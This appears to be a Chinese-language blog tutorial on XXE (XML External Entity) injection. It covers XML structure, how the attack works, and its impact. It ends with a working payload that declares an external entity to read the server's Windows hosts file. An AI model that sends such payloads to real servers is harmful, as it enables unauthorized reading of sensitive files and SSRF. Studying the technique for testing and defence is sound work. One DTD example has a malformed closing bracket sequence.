XXE学习

本文最后更新于 2025年9月11日 晚上

XXE学习

XML

介绍:一种可拓展的标记语言,用于存储数据,可放在请求中直接发给服务器

结构

第一部分:XML声明

1
<?xml version="1.0"?>

第二部分:文档类型定义DTD

1
2
3
4
5
<!DOCTYPE note[   
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]]]>

第三部分:文档元素

1
2
3
4
5
6
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

XXE

原理:目标网站服务器中存在一些敏感文件,攻击者通过在传输的xml数据中插入恶意命令,导致命令被服务器解析,从而把敏感文件内容被读取并返回给前端

危害:敏感数据泄露、内部系统扫描、SSRF

实战:

payload

1
2
3
4
5
6
//定义外部实体,读取系统文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts"> <!--要根据后台服务器的系统,输入正确的文件路径-->
]>
<x>&f;</x>


XXE学习
http://example.com/2025/09/11/XXE学习/
作者
清风
发布于
2025年9月11日
许可协议